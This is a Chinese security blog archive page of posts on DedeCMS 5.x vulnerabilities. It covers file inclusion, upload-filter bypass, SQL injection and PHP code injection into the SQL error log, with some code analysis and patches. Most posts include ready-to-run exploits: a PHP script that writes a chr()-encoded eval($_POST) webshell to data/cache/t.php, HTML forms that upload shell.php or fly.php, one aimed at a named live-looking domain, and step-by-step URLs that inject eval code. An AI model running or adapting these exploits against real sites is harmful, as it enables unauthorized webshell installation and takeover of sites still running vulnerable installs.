Posts Tagged ‘DEDECMS’
分析DEDECMS 5.5 datalistcp.class.php 包含
作者:st0p
转载请注明出处 http://www.st0p.org
老早就看到有人发的洞,一直想过写分析来着,最近一直呆在UBUNTU下安装东西。。老忘。。。
有时有些朋友加我,教他找洞。。。这个好似是个累活,而且运气占很大一部分。。。所以我还是尽量帮分析过程发出来吧,也方便我自己学习。
具体的EXP,请看:http://www.st0p.org/blog/archives/dedecms-5-5-datalistcp-class-php-contains-exp.html
以前呢,DEDECMS会把出错的SQL信息,写进mysql_error_trace.php,后来被大牛们爆出来了。就改名为mysql_error_trace.inc了。。。
没想到这次又被包含了。。。看来记录SQL信息也不是啥好事。。。
这个EXP的原理呢,是通过构造特殊的请求给plus/digg_ajax.php来达到写入我们的语句到mysql_error_trace.inc,当然可以满足我们这一步写入到mysql_error_trace.inc的文件还有不少。。不过想要执行他就不可能了。。然后这次报出的洞呢就是运气很好才能碰到的。。
关键代码存在于
/include/datalistcp.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | ... $codefile = (isset($needCode) ? $needCode : $cfg_soft_lang); //通过isset函数检查$needCode是否已配置,如已配置则结果为$needCode,否则结果为$cfg_soft_lang //当我们伪造结果为aa/../../../data/mysql_error_trace时 if(file_exists(DEDEINC.'/code/datalist.'.$codefile.'.inc')) { require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc'); //后缀是.inc } //检查文件是否存在,存在则包含。我们通过../成功跳转到到data目录,包含我们刚才构造过的mysql_error_trace.inc //成功运行我们mysql_error_trace.inc在构造的语句。。。 ... |
郁闷,前几次想写分析的时候官方还没补呢。。刚去官方看了下通过正则进行了修补
1 2 3 4 5 6 7 8 9 10 11 | $codefile = (isset($needCode) ? $needCode : $cfg_soft_lang); $codefile = preg_replace("/[\w-]/", '', $codefile); //通过正则过滤了。。。 if(file_exists(DEDEINC.'/code/datalist.'.$codefile.'.inc')) { require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc'); } |
DEDECMS 5.5 datalistcp.class.php 包含 EXP
来源于互联网,具体作者不详。看到好久了,一直是想写分析在发出来。老望。。。最近RSS订阅中好多这个,先发一下记录。有空分析,官方已修补。。
执行成功会在data/cache下生成t.php一句话小马
密码x
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 | <?php print_r(' +----------------------------------------+ dedecms v5.5 final getwebshell exploit +----------------------------------------+ '); if ($argc < 3) { print_r(' +----------------------------------------+ Usage: php '.$argv[0].' host path host: target server (ip/hostname) path: path to dedecms Example: php '.$argv[0].' localhost /dedecms/ +----------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*'; $post_b = 'needCode=aa/../../../data/mysql_error_trace'; $shell = 'data/cache/t.php'; get_send($post_a); post_send('plus/comments_frame.php',$post_b); $content = post_send($shell,'t=echo tojen;'); if(substr($content,9,3)=='200'){ echo "\nShell Address is:".$host.$path.$shell; }else{ echo "\nError."; } function get_send($url){ global $host, $path; $message = "GET ".$path."$url HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Referer: http://$host$path\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; $message .= "Host: $host\r\n"; $message .= "Connection: Close\r\n\r\n"; $fp = fsockopen($host, 80); if(!$fp){ echo "\nConnect to host Error"; } fputs($fp, $message); $back = ''; while (!feof($fp)) $back .= fread($fp, 1024); fclose($fp); return $back; } function post_send($url,$cmd){ global $host, $path; $message = "POST ".$path."$url HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Referer: http://$host$path\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; $message .= "Host: $host\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd; $fp = fsockopen($host, 80); if(!$fp){ echo "\nConnect to host Error"; } fputs($fp, $message); $back = ''; while (!feof($fp)) $back .= fread($fp, 1024); fclose($fp); return $back; } ?> |
DEDECMS v5.5 Final select_soft_post.php 漏洞
作者:st0p
转载请注明出处 http://www.st0p.org
今天才从Wolves Security Team看到toby57大牛发布的"DEDECMS v5.5 GBK Final 的一个鸡肋漏洞"这篇文章,原文地址:http://bbs.wolvez.org/topic/125/
自己本地测试了一下,覆盖SESSION这个有点鸡胁才是真的,因为要求session.auto_start = 1的情况下,一般session.auto_start这个是关闭的,所以很鸡胁.不过后面的拿SHELL当你成功进入后台的情况下就能用了..
而且session.auto_start一般是要和session_start()一起用的.查了一下资料,只有在session.auto_start开启的情况下,先调用session_start(),然后才有可能.不过具体杂覆盖的SESSION我还没去看,唉,要真找下去头非晕不可...有空在看吧..
我看了一下,其实GBK和UTF8都存在这个问题,不知道发现这个的大牛为啥只是把标题写了GBK...
看了一下/include/dialog/select_soft_post.php
问题主要出现在手工指定文件名后,更名的部分.当我们的名字为st0p.php.的时候,注意,php后还有个点,就可以跳过验证,看代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | ...... //文件名(前为手工指定, 后者自动处理) if(!empty($newname)) { $filename = $newname; //当我们的新名称为st0p.php.的时候 if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name); //当$filename中不含有.的时候调用 else $fs = explode('.', $filename); //当$filename中含有.时调用 if(eregi($cfg_not_allowall, $fs[count($fs)-1])) //$fs[count($fs)-1]得到的值为空,跳过验证 { ShowMsg("你指定的文件名被系统禁止!",'javascript:;'); exit(); } if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1]; } else { $filename = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme)); $fs = explode('.', $uploadfile_name); if(eregi($cfg_not_allowall, $fs[count($fs)-1])) { ShowMsg("你上传了某些可能存在不安全因素的文件,系统拒绝操作!",'javascript:;'); exit(); } $filename = $filename.'.'.$fs[count($fs)-1]; } $fullfilename = $cfg_basedir.$activepath.'/'.$filename; //嘿嘿,跳过验证,$filename还为st0p.php. $fullfileurl = $activepath.'/'.$filename; move_uploaded_file($uploadfile,$fullfilename) or die("上传文件到 $fullfilename 失败!"); @unlink($uploadfile); ...... |
EXP如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>DEDECMS v5.5 Final select_soft_post.php EXP</title>
<script type="text/javascript">
function fsubmit(){
var form = document.forms[0];
form.action = form.target.value + form.path.value;
tmpstr = form.target.value +'/'+ form.newname.value;
form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);
form.submit();
}
</script>
<style type="text/css">
<!--
body {
text-align: center;
}
-->
</style>
</head>
<body>
<h3>DEDECMS v5.5 Final select_soft_post.php EXP</h3>
<form action="" method="post" enctype="multipart/form-data">
<p>
<input type="hidden" name="_SESSION[dede_admin_id]" value="1" />
<input type="hidden" name="bkurl" value="1" />
<label>Target:
<input name="target" type="text" id="target" value="http://target" />
</label>
<label>Path:
<input name="path" type="text" id="path" value="/include/dialog/select_soft_post.php" />
</label>
<label>File:
<input type="file" name="uploadfile" id="uploadfile" />
</label>
<label>NewName:
<input name="newname" type="text" id="newname" value="shell.php." />
</label>
<input type="submit" name="button" id="button" value="Fuck" onclick="fsubmit()" />
</p>
</form>
</body>
</html> |
Dedecms select_soft_post.php页面变量未初始漏洞
文/ Flyh4t影响版本:Dedecms 5.5漏洞产生文件位于include\dialog\select_soft_post.php,其变量$cfg_basedir没有正确初始化,导致可以饶过身份认证和系统变量初始化文件,导致可以上传任意文件到指定目录。其漏洞利用前提是register_globals=on,可以通过自定义表单为相关的变量赋值。代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | <html> <head> <title>Dedecms v55 RCE Exploit Codz By flyh4t</title> </head> <body style="FONT-SIZE: 9pt">---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br /> <form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'> <input type='hidden' name='activepath' value='/data/cache/' /> <input type='hidden' name='cfg_basedir' value='../../' /> <input type='hidden' name='cfg_imgtype' value='php' /> <input type='hidden' name='cfg_not_allowall' value='txt' /> <input type='hidden' name='cfg_softtype' value='php' /> <input type='hidden' name='cfg_mediatype' value='php' /> <input type='hidden' name='f' value='form1.enclosure' /> <input type='hidden' name='job' value='upload' /> <input type='hidden' name='newname' value='fly.php' /> Select U Shell <input type='file' name='uploadfile' size='25' /> <input type='submit' name='sb1' value='确定' /> </form> <br />It's just a exp for the bug of Dedecms V55...<br /> Need register_globals = on...<br />Fun the game,get a webshell at /data/cache/fly.php...<br /> </body> </html> |
请自行修改form表单对应的网站域名。
DEDECMS 5.1 feedback_js.php 0DAY
作者:st0p Rainy'Fox
转载请注明出处:http://www.st0p.org http://bbs.erpangzi.com/
这个漏洞是我和Rainy'Fox一起发现的
同样是在magic_quotes_gpc=off的情况下可用
漏洞版本:DEDECMS 5.1
此漏洞可拿到后台管理员的帐号和加密HASH,漏洞存在文件plus/feedback_js.php,未过滤参数为$arcurl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | ...... $urlindex = 0; if(empty($arcID)) { $row = $dlist->dsql->GetOne("Select id From `#@__cache_feedbackurl` where url='$arcurl' "); //此处$arcurl没有过滤 if(is_array($row)) $urlindex = $row['id']; //存在结果则把$urlindex赋值为查询到的$row['id'],我们可以构造SQL语句带入下面的操作中了 } if(empty($arcID) && empty($urlindex)) exit(); //如果$arcID为空或$urlindex为空则退出 ...... if(empty($arcID)) $wq = " urlindex = '$urlindex' "; //我们让$arcID为空,刚才上面执行的结果就会被赋值给$wq带入下面的操作中执行了. else $wq = " aid='$arcID' "; $querystring = "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc"; $dlist->Init(); $dlist->SetSource($querystring); ...... |
看一下利用方法吧,嘿,为了闭合我用了两次union Read more »
DEDECMS 小说连载模块 0DAY
作者:st0p
可以转载,不过请注明出处http://www.st0p.org
由于这个洞出现在DEDECMS小说连载的模块中,所以只要DEDECMS安装时选小说连载模块,那么就存在这个问题,有些版本在条件允许下是可以直接拿SHELL的哦。
st0p总结了一下利用条件
条件1:当服务器的PHP设置magic_quotes_gpc = Off
条件2:目标DEDECMS系统安装时选中小说连载模块
首先我们先来看一下DEDECMS 5.1,他的小说频道和DEDECMS 5.3.1,DEDECMS 5.5不同,因为他的文件在member目录下面,文件是member/story_books.php,而DEDECMS 5.3.1和DEDECMS 5.5的文件在book目录下,文件是book/story_books.php
因为里面的代码相似,所以呢,咱们只看一个story_books.php就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | < ?php ...... if(!isset($action)) $action = ''; //检测变量$action是否存在,不存则则给初使值 if(!isset($catid)) $catid = 0; //检测变量$catid是否存在,不存则则给初使值 if(!isset($keyword)) $keyword = ""; //检测变量$keyword是否存在,不存则则给初使值 if(!isset($orderby)) $orderby = 0; //检测变量$orderby是否存在,不存则则给初使值 ...... if($catid!=0) $addquery .= " And (b.bcatid='$catid' Or b.catid='$catid') "; //变量$catid不为0时,就直接把$catid给$addquery了,没有验证 if($keyword!="") $addquery .= " And (b.bookname like '%$keyword%' Or b.author like '%$keyword%') "; //变量$keyword不为空时,就直接把$keyword给$addquery了,没有验证 $query = " Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,b.ischeck, c.id as cid,c.classname From #@__story_books b left join #@__story_catalog c on c.id = b.catid where memberid={$cfg_ml->M_ID} and b.id>0 $addquery $orderby "; //生成了语句 ...... ?> |
上面的代码看到了吧,嘎,catid和keyword没有过滤,所以这就引起了注入,不过好像构成语句有点麻烦,这个就不在本文的讨论了范围了,我们举个小例子试一下,以下操作请在登陆后进行测试,直接注册个帐号,登陆,然后输入以下地址就可以了
Read more »
dedecms digg_frame.php注入漏洞
来源:张恒
dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。
假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:
http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
3. 下载下面dedecms-digg_frame-php-injection-vulnerability并解压里面的文件 test.html,注意 form 中 action 的地址是
1 | <form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”> |
按确定后的看到第2步骤的信息表示文件木马上传成功。
木马网址:http://www.abc.com/data/a.php
密码:2006888
漏洞分析:
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
解决方案:
打开文件 include/dedesql.class.php
找到代码
1 | @fwrite($fp, ‘<’.'?php’.”\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”); |
替换代码
1 | @fwrite($fp, ‘<’.'?php’.”\r\nexit;\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”); |
清空 data/mysql_error_trace.php 文件内容
下载:dedecms-digg_frame-php-injection-vulnerability.rar
st0p:以上是原文了,作者没有说明引起的原因,st0p看了一下,发现这个漏洞是因为DEDECMS在执行SQL错误时,会写入错误记录文件引起的,同理呢调用Execute和Query函数的地方很可能还会引起此BUG,重要代码如下
include/dedesql.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | function Execute($id="me", $sql='') { ...... //SQL语句安全检查 if($this->safeCheck) { CheckSql($this->queryString); //检测了SQL语句的问题,可是没有过滤php代码。。 } ...... if($this->result[$id]===false) { $this->DisplayError(mysql_error()." <br />Error sql: <font color='red'>".$this->queryString."</font>"); //这里当碰到错误时会调用DisplayError函数,把queryString写进错误日志了,错误日志后缀是PHP哦。。 } } function DisplayError($msg) { $errorTrackFile = dirname(__FILE__).'/../data/mysql_error_trace.php'; $emsg = ''; $emsg .= "<div><h3>DedeCMS Error Warning!</h3>\r\n"; $emsg .= "<div><a href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>"; $emsg .= "<div style='line-helght:160%;font-size:14px;color:green'>\r\n"; $emsg .= "<div style='color:blue'><br />Error page: <font color='red'>".$this->GetCurUrl()."</font></div>\r\n"; $emsg .= "<div>Error infos: {$msg}</div>\r\n"; $emsg .= "<br /></div></div>\r\n"; echo $emsg; $savemsg = 'Page: '.$this->GetCurUrl()."\r\nError: ".$msg; //保存MySql错误日志 $fp = @fopen($errorTrackFile, 'a'); @fwrite($fp, '<'.'?php'."\r\n/*\r\n{$savemsg}\r\n*/\r\n?".">\r\n"); @fclose($fp); } |
其实呢,把data目录的写权限去掉,也能防止写文件哦。。,因为安装完新的DEDECMS,是没有data/mysql_error_trace.php文件的。。
DEDECMS XDAY
作者:st0p
在此记录一下,嘿嘿,这个洞可是杰少偶们两发现的哦。。。相当YD吧,而且还帮我找到了两个ROOT权限。。
此漏洞为st0p和杰少发现,版权没有,欢迎转载!
为啥叫XDAY不叫0DAY呢,因为这个洞比较乱,涵盖的版本比较多,但却用处不大,相当鸡肋,不过利用好了还是有点效果的。。
正无聊时发现YD的杰少发来消息,说他发现了DEDECMS一个很鸡肋的东西,include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理员帐号,新版本的就直接转向了后台。
看到消息后我脑子里就有了个YD的想法,会不会官方也存在,然后马上打开http://www.dedecms.com/include/dialog/select_soft.php,可惜的是官方会提示你输入后理目录,不会转向。如图1

失望啊,不过在和杰少的聊天中得知安全中国存在这个问题,于是打开http://www.anqn.com/include/dialog/select_soft.php,果然转向了,如图2

看到没,后台地址是article_6565998um9)-_这个,标题栏是delphi V53_1_GBK,DELPHI成文章系统了。。下面去还有织梦的图片。。。。
既然存在,赶快去官方下载了最新的DedeCMS V5.5正式版,DedeCMS V5.3.1和DedeCmsV5.1FreeSP1这三个版本,然后本地架设起来,分别对select_soft.php文件分析了一下,让我发现了更有趣的东西。
首先咱们看DedeCmsV5.1FreeSP1这个版本吧,关键代码如下
include/dialog/select_soft.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | < ?php require_once(dirname(__FILE__)."/config.php");//这里面检测了是否已登入 if(empty($activepath)) $activepath = ""; $activepath = str_replace("..","",$activepath); //过滤了..但没过滤. $activepath = ereg_replace("^/{1,}","/",$activepath); if(strlen($activepath)<strlen($cfg_soft_dir)){ $activepath = $cfg_soft_dir; } //如果得到的路径值长度小于设置中的$cfg_soft_dir值的长度那么把$activepath等于$cfg_soft_dir,系统默认为/uploads/soft //注意看这里,如果这个值大于$cfg_soft_dir值的长度的时候就会跳过去了,$cfg_soft_dir存在于include/config_base.php $inpath = $cfg_basedir.$activepath; $activeurl = "..".$activepath; if(empty($f)) $f="form1.enclosure"; if(empty($comeback)) $comeback = ""; ?> |
